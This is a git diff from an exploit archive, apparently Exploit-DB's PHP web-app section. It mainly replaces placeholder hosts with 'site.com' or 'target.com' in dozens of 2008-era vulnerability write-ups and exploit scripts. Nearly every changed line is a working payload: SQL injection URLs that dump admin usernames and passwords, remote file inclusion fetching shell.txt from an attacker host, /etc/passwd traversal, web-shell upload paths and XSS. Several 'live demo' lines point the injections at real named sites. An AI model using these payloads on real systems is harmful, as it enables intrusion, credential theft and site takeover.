b/platforms/php/webapps/6250.txt index 70516253c..d0664c769 100755 --- a/platforms/php/webapps/6250.txt +++ b/platforms/php/webapps/6250.txt @@ -17,7 +17,7 @@ ##################################################################################### # [Rfi] # # # -#http://Site/user_language.php?INDM=r3d.w0rm&language_dir=http://evil-server/shell.txt? +#http://Site/user_language.php?INDM=r3d.w0rm&language_dir=http://evil-site.com/shell.txt? # # # [Sql Injection] # # # diff --git a/platforms/php/webapps/6254.txt b/platforms/php/webapps/6254.txt index 1dc261a19..0a5675081 100755 --- a/platforms/php/webapps/6254.txt +++ b/platforms/php/webapps/6254.txt @@ -11,9 +11,9 @@ Vuln line: include($ugamela_root_path . 'includes/functions/FlyingFleetHandler.' Exploit(this exploit works in 90% targets): ------ -server/includes/todofleetcontrol.php?ugamela_root_path=[shell]? +target.com/includes/todofleetcontrol.php?ugamela_root_path=[shell]? or new version of xnova: -server/includes/todofleetcontrol.php?xnova_root_path=[shell]? +target.com/includes/todofleetcontrol.php?xnova_root_path=[shell]? ------ FUckZZz to Cybernet1c(2) aka ph4nt0mh4ck3r && Cr4wl aka Raz0r diff --git a/platforms/php/webapps/6259.txt b/platforms/php/webapps/6259.txt index 2bcc6ac2c..5744c1c62 100755 --- a/platforms/php/webapps/6259.txt +++ b/platforms/php/webapps/6259.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/6279.pl b/platforms/php/webapps/6279.pl index 334d7dbab..1494beb4a 100755 --- a/platforms/php/webapps/6279.pl +++ b/platforms/php/webapps/6279.pl @@ -106,7 +106,7 @@ sub istrue2 ####################### ## ##-[[ XSS ]]- -## server/members.php?PageNo= [[ XSS ]] +## www.Target.com/members.php?PageNo= [[ XSS ]] ## ####################### diff --git a/platforms/php/webapps/6281.pl b/platforms/php/webapps/6281.pl index 0ce71565d..57bef5aaa 100755 --- a/platforms/php/webapps/6281.pl +++ b/platforms/php/webapps/6281.pl @@ -17,8 +17,8 @@ print_r(' # Dork: inurl:we_objectID= # Admin Panel: [Target]/webEdition/ # Usage: php '.$argv[0].' [Target] [Userid] -# Example for http://www.server/en/****.php?we_objectID=21 -# => php '.$argv[0].' http://www.server/en/****.php?we_objectID=21 1 +# Example for http://www.site.com/en/****.php?we_objectID=21 +# => php '.$argv[0].' http://www.site.com/en/****.php?we_objectID=21 1 # ############################################################### '); diff --git a/platforms/php/webapps/6303.txt b/platforms/php/webapps/6303.txt index 64c4fbe92..a300fca17 100755 --- a/platforms/php/webapps/6303.txt +++ b/platforms/php/webapps/6303.txt @@ -31,7 +31,7 @@ [*] Vulnerability: - http://server/webboard/admindel.php?action=delete&mode=question&qno=<NUM>&ano=<NUM> + http://site.com/webboard/admindel.php?action=delete&mode=question&qno=<NUM>&ano=<NUM> diff --git a/platforms/php/webapps/6306.pl b/platforms/php/webapps/6306.pl index 46d02e685..d41888afa 100755 --- a/platforms/php/webapps/6306.pl +++ b/platforms/php/webapps/6306.pl @@ -21,7 +21,7 @@ print <<INTRO; INTRO -print "Enter URL(ie: http://server): "; +print "Enter URL(ie: http://site.com): "; chomp(my $url=<STDIN>); print "Enter File Path(path to local file to upload): "; diff --git a/platforms/php/webapps/6307.txt b/platforms/php/webapps/6307.txt index dde065f05..2c268ae13 100755 --- a/platforms/php/webapps/6307.txt +++ b/platforms/php/webapps/6307.txt @@ -1,4 +1,4 @@ -Crafty Syntax Live Help <= 2.14.6 SQL Injection + Crafty Syntax Live Help <= 2.14.6 SQL Injection August 25, 2008 Vendor : Eric Gerdes diff --git a/platforms/php/webapps/6310.txt b/platforms/php/webapps/6310.txt index 01e2771b2..a710a15d5 100755 --- a/platforms/php/webapps/6310.txt +++ b/platforms/php/webapps/6310.txt @@ -51,7 +51,7 @@ Example : http://[Site]/indir.php?id=-1/**/union/**/select/**/concat(admin_adi,0 < -- bug code start -- > -www.server/path/indir.php?id=-1/**/union/**/select/**/concat(admin_adi,0x3a,admin_sifresi)/**/from/**/yonetici/* +www.site.com/path/indir.php?id=-1/**/union/**/select/**/concat(admin_adi,0x3a,admin_sifresi)/**/from/**/yonetici/* /path/indir.php?id=-1/**/union/**/select/**/concat(admin_adi,0x3a,admin_sifresi)/**/from/**/yonetici/* diff --git a/platforms/php/webapps/6332.txt b/platforms/php/webapps/6332.txt index a6d98a13e..debe48a3b 100755 --- a/platforms/php/webapps/6332.txt +++ b/platforms/php/webapps/6332.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/6339.txt b/platforms/php/webapps/6339.txt index b63d6ac4b..b635c1f2b 100755 --- a/platforms/php/webapps/6339.txt +++ b/platforms/php/webapps/6339.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . ================================ diff --git a/platforms/php/webapps/6350.txt b/platforms/php/webapps/6350.txt index c6c9135ef..9554b87f0 100755 --- a/platforms/php/webapps/6350.txt +++ b/platforms/php/webapps/6350.txt @@ -26,7 +26,7 @@ ################################################################################################# ### ### ### d0rk :: "use your mind" ### -### (you can log to control panel from http://server login.php) ### +### (you can log to control panel from http://site.com login.php) ### ### ### ### -(:: sql Code ::)- ### ### comment.php?artid=(sql) ### diff --git a/platforms/php/webapps/6351.txt b/platforms/php/webapps/6351.txt index eafa41481..8ec055e49 100755 --- a/platforms/php/webapps/6351.txt +++ b/platforms/php/webapps/6351.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/6354.txt b/platforms/php/webapps/6354.txt index 7d2f9ed6e..ef782565d 100755 --- a/platforms/php/webapps/6354.txt +++ b/platforms/php/webapps/6354.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/6357.txt b/platforms/php/webapps/6357.txt index ad041ed87..a7844236a 100755 --- a/platforms/php/webapps/6357.txt +++ b/platforms/php/webapps/6357.txt @@ -18,11 +18,11 @@ ######################################################################## # # # # # # # # 1-Arbitrary File Upload Exploit [AspWebAlbum All Versions] # # ######################################################################## # # # -http://www.server/path/album.asp?action=uploadmedia&cat=Real Category Name! # +http://www.site.com/path/album.asp?action=uploadmedia&cat=Real Category Name! # # and your shell adress: # # -http://www.server/path/album/categories/Real Category Name!/pics/yourshell.asp # +http://www.site.com/path/album/categories/Real Category Name!/pics/yourshell.asp # # # ex:1 # @@ -36,7 +36,7 @@ Ablaze rally 9-24-06/pics/klasvayv.asp # 2-Admin Bypass [AspWebAlbum 3.2] # # ######################################################################## # # # # -http://server/path/album.asp?action=login # +http://site.com/path/album.asp?action=login # # ASP/MS SQL Server login syntax # # @@ -46,7 +46,7 @@ Password:anything ######################################################################## # # # # # # # # 3-Xss Vulnerability [AspWebAlbum 3.2] # # ######################################################################## # # # -http://server/album/album.asp?action=summary&message=<script>alert('xss')</script>&from=login # +http://site.com/album/album.asp?action=summary&message=<script>alert('xss')</script>&from=login # # ################################################################################################# diff --git a/platforms/php/webapps/6392.php b/platforms/php/webapps/6392.php index 57588d7f9..4809ac9b1 100755 --- a/platforms/php/webapps/6392.php +++ b/platforms/php/webapps/6392.php @@ -14,8 +14,8 @@ if ($argc<3) { echo "--userid=[value] (default: 1)\n"; echo "--username=[value] (default: admin)\n"; echo "examples:\n"; - echo "php {$argv[0]} server /forum/\n"; - echo "php {$argv[0]} server / --userid=2 --username=odmen\n"; + echo "php {$argv[0]} site.com /forum/\n"; + echo "php {$argv[0]} site.com / --userid=2 --username=odmen\n"; die; } diff --git a/platforms/php/webapps/6396.txt b/platforms/php/webapps/6396.txt index 10d512626..9a21abb13 100755 --- a/platforms/php/webapps/6396.txt +++ b/platforms/php/webapps/6396.txt @@ -54,7 +54,7 @@ # http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+1,1-- # # -# Admin panel is at http://server/admin +# Admin panel is at http://site.com/admin ################################################################ # Vuln Discovered 7th Sep 2008 diff --git a/platforms/php/webapps/6397.txt b/platforms/php/webapps/6397.txt index 21d3d51de..0e75a7e6f 100755 --- a/platforms/php/webapps/6397.txt +++ b/platforms/php/webapps/6397.txt @@ -12,7 +12,7 @@ # # greets: Stefan Esser, Lukasz Pilorz, cOndemned, tbh, sid.psycho, str0ke and all fiends -1. go to url: server/wp-login.php?action=register +1. go to url: server.com/wp-login.php?action=register 2. register as: @@ -23,7 +23,7 @@ email: your email now, we have duplicated 'admin' account in database -3. go to url: server/wp-login.php?action=lostpassword +3. go to url: server.com/wp-login.php?action=lostpassword 4. write your email into field and submit this form diff --git a/platforms/php/webapps/6398.txt b/platforms/php/webapps/6398.txt index 12ccfe874..fa0516079 100755 --- a/platforms/php/webapps/6398.txt +++ b/platforms/php/webapps/6398.txt @@ -5,7 +5,7 @@ Sp TNX to : imm02rtal-Magicboy-Yashi Lashi-DJ7xpl-R$p And Others www.mormoroth.net www.shabgard.org dork : Powered by ephpscripts -Exploit : server/path/search_results.php?cid=-1/**/union/**/select/**/1,version(),3,4,5,6-- +Exploit : Site.com/path/search_results.php?cid=-1/**/union/**/select/**/1,version(),3,4,5,6-- exp:http://www.ephpscripts.com/demo/eshop/search_results.php?cid=-1/**/union/**/select/**/1,version(),3,4,5,6-- Persian Gulf Forever Iraninan xxxers :D diff --git a/platforms/php/webapps/6401.txt b/platforms/php/webapps/6401.txt index 6d6765a38..e1db7ecc8 100755 --- a/platforms/php/webapps/6401.txt +++ b/platforms/php/webapps/6401.txt @@ -54,7 +54,7 @@ # # http://payperpostpro.com/index.php?menu=forum_catview&catid=-1+union+all+select+1,2,3,4,5,concat(username,0x3a,upass),7+from+users-- # -# Admin panel is at http://server/admin +# Admin panel is at http://site.com/admin ################################################################ # Vuln Discovered 9th Sep 2008 diff --git a/platforms/php/webapps/6404.txt b/platforms/php/webapps/6404.txt index 1ad2cdefc..0bf39411d 100755 --- a/platforms/php/webapps/6404.txt +++ b/platforms/php/webapps/6404.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/6406.txt b/platforms/php/webapps/6406.txt index ecc00a772..ed39f9443 100755 --- a/platforms/php/webapps/6406.txt +++ b/platforms/php/webapps/6406.txt @@ -1,4 +1,4 @@ -#################################################################################################### + #################################################################################################### # # # ...:::::stash-1.0.3 Insecure Cookie Handling Vulnerability ::::.... # ################################################################################################### diff --git a/platforms/php/webapps/6417.txt b/platforms/php/webapps/6417.txt index c0ad2876e..d06238e2b 100755 --- a/platforms/php/webapps/6417.txt +++ b/platforms/php/webapps/6417.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/6419.txt b/platforms/php/webapps/6419.txt index 7665b6e2d..f7f4bac53 100755 --- a/platforms/php/webapps/6419.txt +++ b/platforms/php/webapps/6419.txt @@ -13,7 +13,7 @@ print <<INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ # Reptil INTRO -print "Enter URL(ie: http://server): "; +print "Enter URL(ie: http://site.com): "; chomp(my $url=<STDIN>); print "Enter File Path(path to local file to upload): "; @@ -33,7 +33,7 @@ exit; * *you can use this and upload files ! * -*http://www.server/editor/filemanager/upload/test.html +*http://www.site.com/editor/filemanager/upload/test.html * *http://www.zanfi.nl ############################################################## diff --git a/platforms/php/webapps/6422.txt b/platforms/php/webapps/6422.txt index 70d69b8d0..1ae9270e3 100755 --- a/platforms/php/webapps/6422.txt +++ b/platforms/php/webapps/6422.txt @@ -45,8 +45,8 @@ POC: - http://www.server/groups.php?type=&amp;&cat=4+and+substring(@@version,1,1)=4 - http://www.server/search_results.php?query=[XSS] + http://www.site.com/groups.php?type=&amp;&cat=4+and+substring(@@version,1,1)=4 + http://www.site.com/search_results.php?query=[XSS] Live Demo: diff --git a/platforms/php/webapps/6423.txt b/platforms/php/webapps/6423.txt index 427469840..2e2050169 100755 --- a/platforms/php/webapps/6423.txt +++ b/platforms/php/webapps/6423.txt @@ -1,4 +1,4 @@ -++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + Zanfi CMS lite / Jaw Portal free SQL Injection Vulnerability + + + diff --git a/platforms/php/webapps/6426.txt b/platforms/php/webapps/6426.txt index cd04e3f17..e426ad4a2 100755 --- a/platforms/php/webapps/6426.txt +++ b/platforms/php/webapps/6426.txt @@ -39,7 +39,7 @@ ########################################################### Exploit:- - http://www.server/[path]/index.php?page=DBpAGE&pageid=-1'+union+select+null,concat(version(),0x3a,database(),0x3a,user())/* + http://www.site.com/[path]/index.php?page=DBpAGE&pageid=-1'+union+select+null,concat(version(),0x3a,database(),0x3a,user())/* diff --git a/platforms/php/webapps/6427.txt b/platforms/php/webapps/6427.txt index bf417efc9..a0d4dcfce 100755 --- a/platforms/php/webapps/6427.txt +++ b/platforms/php/webapps/6427.txt @@ -10,6 +10,6 @@ [*] LFI [+] index.php?p= [File %00] - [+] http://server/index.php?p=../../../../../../../etc/passwd%00 + [+] http://site.com/index.php?p=../../../../../../../etc/passwd%00 # milw0rm.com [2008-09-11] diff --git a/platforms/php/webapps/6432.py b/platforms/php/webapps/6432.py index f4e053512..83c23f20d 100755 --- a/platforms/php/webapps/6432.py +++ b/platforms/php/webapps/6432.py @@ -29,7 +29,7 @@ if len(sys.argv)<3 : print "Powered by : R3d.W0rm" print "www.IrCrash.com" print "Usage : " + sys.argv[0] + " http://Target/path http://evil/shell.txt" - print "Ex. " + sys.argv[0] + " http://server/minb http://r3d.a20.ir/r.txt" + print "Ex. " + sys.argv[0] + " http://site.com/minb http://r3d.a20.ir/r.txt" exit() if 'http://' not in sys.argv[1] : sys.argv[1]='http://' + sys.argv[1] diff --git a/platforms/php/webapps/6435.txt b/platforms/php/webapps/6435.txt index e6feba111..cf376c058 100755 --- a/platforms/php/webapps/6435.txt +++ b/platforms/php/webapps/6435.txt @@ -1,4 +1,4 @@ -################################################################################### + ################################################################################### # # # ...::::: Sports Clubs Web Panel 0.0.1 SQL Injection Vulnerability ::::.... # ################################################################################### @@ -31,8 +31,8 @@ line 1: $id = $_GET['id']; line 2: $editDraw = mysql_query("SELECT * FROM draw WHERE did='$id' LIMIT 1"); -------- exploit: -http://server/[patch]/?p=draw-view&id='/**/union/**/select/**/1,2,3,version(),5,6,User,password%20,9/**/from/**/mysql.user/* -http://server/[patch]/?p=draw-edit&id='/**/union/**/select/**/1,2,3,4,5,version(),7,8,9/* +http://site.com/[patch]/?p=draw-view&id='/**/union/**/select/**/1,2,3,version(),5,6,User,password%20,9/**/from/**/mysql.user/* +http://site.com/[patch]/?p=draw-edit&id='/**/union/**/select/**/1,2,3,4,5,version(),7,8,9/* ------------- young iranian h4ck3rz diff --git a/platforms/php/webapps/6444.txt b/platforms/php/webapps/6444.txt index 51e304d49..723bba584 100755 --- a/platforms/php/webapps/6444.txt +++ b/platforms/php/webapps/6444.txt @@ -41,11 +41,11 @@ # POC: # For username : # -# http://server/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,username,5,6+from+websiteadmin_admin_users-- +# http://site.com/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,username,5,6+from+websiteadmin_admin_users-- # # For password : # -# http://server/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,password,5,6+from+websiteadmin_admin_users-- +# http://site.com/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,password,5,6+from+websiteadmin_admin_users-- # # # diff --git a/platforms/php/webapps/6445.txt b/platforms/php/webapps/6445.txt index c44ef4a5a..560b08169 100755 --- a/platforms/php/webapps/6445.txt +++ b/platforms/php/webapps/6445.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/6447.txt b/platforms/php/webapps/6447.txt index 6c8171ce8..822a5fdfa 100755 --- a/platforms/php/webapps/6447.txt +++ b/platforms/php/webapps/6447.txt @@ -40,14 +40,14 @@ ########################################################### Exploit:- - http://www.server/[script]/newskom.php?newsid=-1+union+all+select+1,2,3,4,concat(username,0x3a,pwd,0x3a),6+from+pl_user/* + http://www.site.com/[script]/newskom.php?newsid=-1+union+all+select+1,2,3,4,concat(username,0x3a,pwd,0x3a),6+from+pl_user/* Live Demo: http://www.uni-leipzig.de/fsrpowi/newskom.php?newsid=-1+union+all+select+1,2,3,4,concat(username,0x3a,pwd,0x3a),6+from+pl_user/* - Admin panel is at http://server/script/admin/ + Admin panel is at http://site.com/script/admin/ The password in in plain text :P diff --git a/platforms/php/webapps/6449.php b/platforms/php/webapps/6449.php index c852a2666..d1e242b98 100755 --- a/platforms/php/webapps/6449.php +++ b/platforms/php/webapps/6449.php @@ -14,8 +14,8 @@ print_r(' # Dork: intext:"pLink 2.07" # Admin Panel: [Target]/link/ # Usage: php '.$argv[0].' [Target] [Userid] -# Example for http://www.server/link/linkto.php?id=[Real id] 2 -# => php '.$argv[0].' http://www.server/link/linkto.php?id=128 2 +# Example for http://www.site.com/link/linkto.php?id=[Real id] 2 +# => php '.$argv[0].' http://www.site.com/link/linkto.php?id=128 2 # Live Demo : # http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2 # diff --git a/platforms/php/webapps/6452.txt b/platforms/php/webapps/6452.txt index 7d856f1b7..047822c01 100755 --- a/platforms/php/webapps/6452.txt +++ b/platforms/php/webapps/6452.txt @@ -1,4 +1,4 @@ -fphpSmartCom v. 0.2 Local File Inclusion , SQL Injection Vuln + fphpSmartCom v. 0.2 Local File Inclusion , SQL Injection Vuln Download : http://sourceforge.net/projects/phpsmartcom/ diff --git a/platforms/php/webapps/6480.txt b/platforms/php/webapps/6480.txt index 89af7cada..62e5069bf 100755 --- a/platforms/php/webapps/6480.txt +++ b/platforms/php/webapps/6480.txt @@ -18,9 +18,9 @@ # ###### Exploit ##################################################################### # -# http://server/[path]/includes/function_core.php?web_root=http://127.0.0.1/r57.txt? +# http://www.target.com/[path]/includes/function_core.php?web_root=http://127.0.0.1/r57.txt? # -# http://server/[path]/templates/layout_lyrics.php?web_root=http://127.0.0.1/r57.txt? +# http://www.target.com/[path]/templates/layout_lyrics.php?web_root=http://127.0.0.1/r57.txt? # # # diff --git a/platforms/php/webapps/6483.txt b/platforms/php/webapps/6483.txt index 416a15829..a0ba0b97f 100755 --- a/platforms/php/webapps/6483.txt +++ b/platforms/php/webapps/6483.txt @@ -8,9 +8,9 @@ # Download : http://www.ephpscripts.com =============================================== # Exploit : - ==>> server/article.php?es_id=-1+union+select+1,current_user,3,4,5,6,7,8,9,10,11,12/* + ==>> www.target.com/article.php?es_id=-1+union+select+1,current_user,3,4,5,6,7,8,9,10,11,12/* - ==>> server/article.php?es_id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12/* + ==>> www.target.com/article.php?es_id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12/* # live Demo : diff --git a/platforms/php/webapps/6486.txt b/platforms/php/webapps/6486.txt index ec0a49dcd..d8745a585 100755 --- a/platforms/php/webapps/6486.txt +++ b/platforms/php/webapps/6486.txt @@ -1,4 +1,4 @@ -/************************************************************************/ + /************************************************************************/ /* */ /* ProArcadeScript v1.3 */ /* */ diff --git a/platforms/php/webapps/6488.txt b/platforms/php/webapps/6488.txt index b496df0c0..03d823f9e 100755 --- a/platforms/php/webapps/6488.txt +++ b/platforms/php/webapps/6488.txt @@ -11,7 +11,7 @@ # ###### Exploit ##################################################################### # -# http://server/[path]/picture_category.php?id=-1%20union%20select%201,aid,3,4,5,6,7,8,apass,10,11,12%20from%20admin/* +# http://www.target.com/[path]/picture_category.php?id=-1%20union%20select%201,aid,3,4,5,6,7,8,apass,10,11,12%20from%20admin/* # ###### Greets ####################################################################### # diff --git a/platforms/php/webapps/6489.txt b/platforms/php/webapps/6489.txt index 44033f5f7..302ea53f4 100755 --- a/platforms/php/webapps/6489.txt +++ b/platforms/php/webapps/6489.txt @@ -39,7 +39,7 @@ # ########################################################### - POC:- http://www.server/index.php?template=../../../../../../../../../../../../../etc/passwd%00 + POC:- http://www.site.com/index.php?template=../../../../../../../../../../../../../etc/passwd%00 diff --git a/platforms/php/webapps/6503.txt b/platforms/php/webapps/6503.txt index 2c4ccb848..92195a935 100755 --- a/platforms/php/webapps/6503.txt +++ b/platforms/php/webapps/6503.txt @@ -39,7 +39,7 @@ POC 1:- - http://www.server/[script]/index.php?c=16&p=-3+UNION+SELECT+user_name,user_password,3,4,5+from+tbl_user-- + http://www.site.com/[script]/index.php?c=16&p=-3+UNION+SELECT+user_name,user_password,3,4,5+from+tbl_user-- @@ -49,7 +49,7 @@ http://www.phpwebcommerce.com/plaincart/index.php?c=16&p=-3+UNION+SELECT+user_name,user_password,3,4,5+from+tbl_user-- - Admin panel: www.server/plaincart/admin/login.php + Admin panel: www.site.com/plaincart/admin/login.php ########################################################### # diff --git a/platforms/php/webapps/6504.txt b/platforms/php/webapps/6504.txt index 67df06c21..e5298b468 100755 --- a/platforms/php/webapps/6504.txt +++ b/platforms/php/webapps/6504.txt @@ -10,9 +10,9 @@ Exploit : ~user -http://www.server/dir/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users +http://www.site.com/dir/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users ~passwd -http://www.server/dir/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users +http://www.site.com/dir/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users Example : #### diff --git a/platforms/php/webapps/6505.txt b/platforms/php/webapps/6505.txt index cb670543c..35299a6a4 100755 --- a/platforms/php/webapps/6505.txt +++ b/platforms/php/webapps/6505.txt @@ -39,11 +39,11 @@ POC 1:- - http://www.server/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+jp2admins-- + http://www.site.com/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+jp2admins-- POC 2:- - http://www.server/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+admins-- + http://www.site.com/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+admins-- Table names may vary from jp2admins to admins @@ -54,7 +54,7 @@ http://gimnazjum.webd.pl/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+admins-- - Admin panel: www.server/admin.php + Admin panel: www.site.com/admin.php ########################################################### # diff --git a/platforms/php/webapps/6508.txt b/platforms/php/webapps/6508.txt index 5e2581a58..b87cbaeb9 100755 --- a/platforms/php/webapps/6508.txt +++ b/platforms/php/webapps/6508.txt @@ -1,4 +1,4 @@ -_____ ____ _____ + _____ ____ _____ / _ \ /\ /\ / _ \ / _ \ | | | | \ \/ / ||_| | | | | | | | | | \ / \_ | | | | | diff --git a/platforms/php/webapps/6510.txt b/platforms/php/webapps/6510.txt index 16cf708da..af4c54cf3 100755 --- a/platforms/php/webapps/6510.txt +++ b/platforms/php/webapps/6510.txt @@ -18,7 +18,7 @@ [~]------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/email.php?ID=SQL +[~] http://site.com/email.php?ID=SQL [~] [~] Demo :- [~] @@ -49,8 +49,8 @@ [~]------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/question.php?ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/* -[~] http://server/question.php?ID=1 UNION SELECT concat(user,char(58),password) FROM mysql.user/* +[~] http://site.com/question.php?ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/* +[~] http://site.com/question.php?ID=1 UNION SELECT concat(user,char(58),password) FROM mysql.user/* [~] [~] If he does not work test yet -> /question.php?ID=-1 [~] diff --git a/platforms/php/webapps/6514.txt b/platforms/php/webapps/6514.txt index ddfb39910..e3b1e643c 100755 --- a/platforms/php/webapps/6514.txt +++ b/platforms/php/webapps/6514.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/6516.txt b/platforms/php/webapps/6516.txt index 4540796ad..1faaf3491 100755 --- a/platforms/php/webapps/6516.txt +++ b/platforms/php/webapps/6516.txt @@ -16,7 +16,7 @@ Site: www.khg-crew.ws inurl:image_gallery.php?page=image-detail - POC: -http://www.server/e107_Path/image_gallery/image_gallery.php?page=image-detail&album=1&image=[exploit] +http://www.site.com/e107_Path/image_gallery/image_gallery.php?page=image-detail&album=1&image=[exploit] - Exploit: -9999+UNION+SELECT+concat_ws(char(58),user_name,user_password)KHG+from+e107_user+where+user_id=1-- diff --git a/platforms/php/webapps/6523.php b/platforms/php/webapps/6523.php index ad9264f67..7ee38b745 100755 --- a/platforms/php/webapps/6523.php +++ b/platforms/php/webapps/6523.php @@ -61,7 +61,7 @@ print " \n"; if ($#ARGV + 1 != 3) { print "Usage: ./xpl.pl <Target URL> <user> <pass>\n"; - print "Ex. ./xpl.pl http://server/admin/ cwhuser cwhpass\n"; + print "Ex. ./xpl.pl http://www.target.com/admin/ cwhuser cwhpass\n"; exit(); } diff --git a/platforms/php/webapps/6524.txt b/platforms/php/webapps/6524.txt index f444902bb..a445cb54b 100755 --- a/platforms/php/webapps/6524.txt +++ b/platforms/php/webapps/6524.txt @@ -18,7 +18,7 @@ [~]------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/vote.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/* +[~] http://site.com/vote.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/* [~] [~] Demo :- [~] diff --git a/platforms/php/webapps/6525.txt b/platforms/php/webapps/6525.txt index 4984cf632..db2c0fbf1 100755 --- a/platforms/php/webapps/6525.txt +++ b/platforms/php/webapps/6525.txt @@ -18,9 +18,9 @@ [~]------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/comments.php?id=-1 UNION SELECT 1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM mysql.user LIMIT 0,1/* +[~] http://site.com/comments.php?id=-1 UNION SELECT 1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM mysql.user LIMIT 0,1/* [~] -[~] http://server/comments.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/* +[~] http://site.com/comments.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 LIMIT 1,1/* [~] [~] [~] Demo :- diff --git a/platforms/php/webapps/6529.php b/platforms/php/webapps/6529.php index 7834e8ec5..fcad059de 100755 --- a/platforms/php/webapps/6529.php +++ b/platforms/php/webapps/6529.php @@ -3,13 +3,13 @@ By Stack exploit: -http://server/path/comments.php?id=1 and 2>1/* #the page fully loaded -http://server/path/comments.php?id=1 and 1>3/* #page loaded whit any data and some error that say +http://site.com/path/comments.php?id=1 and 2>1/* #the page fully loaded +http://site.com/path/comments.php?id=1 and 1>3/* #page loaded whit any data and some error that say "No such content exists. The link you are following seems to have been incorrect." cheking the mysql version: -http://server/path/comments.php?id=1%20and%20substring(@@version,1,1)=5 +http://site.com/path/comments.php?id=1%20and%20substring(@@version,1,1)=5 or -http://server/path/comments.php?id=1%20and%20substring(@@version,1,1)=4 +http://site.com/path/comments.php?id=1%20and%20substring(@@version,1,1)=4 # you can exploting the bug white blind sql automatic toolz such as sqlmap or ... simple exploit to get user() <?php diff --git a/platforms/php/webapps/6530.txt b/platforms/php/webapps/6530.txt index d9bfe0078..0a7b7429e 100755 --- a/platforms/php/webapps/6530.txt +++ b/platforms/php/webapps/6530.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -15,7 +15,7 @@ # Download: 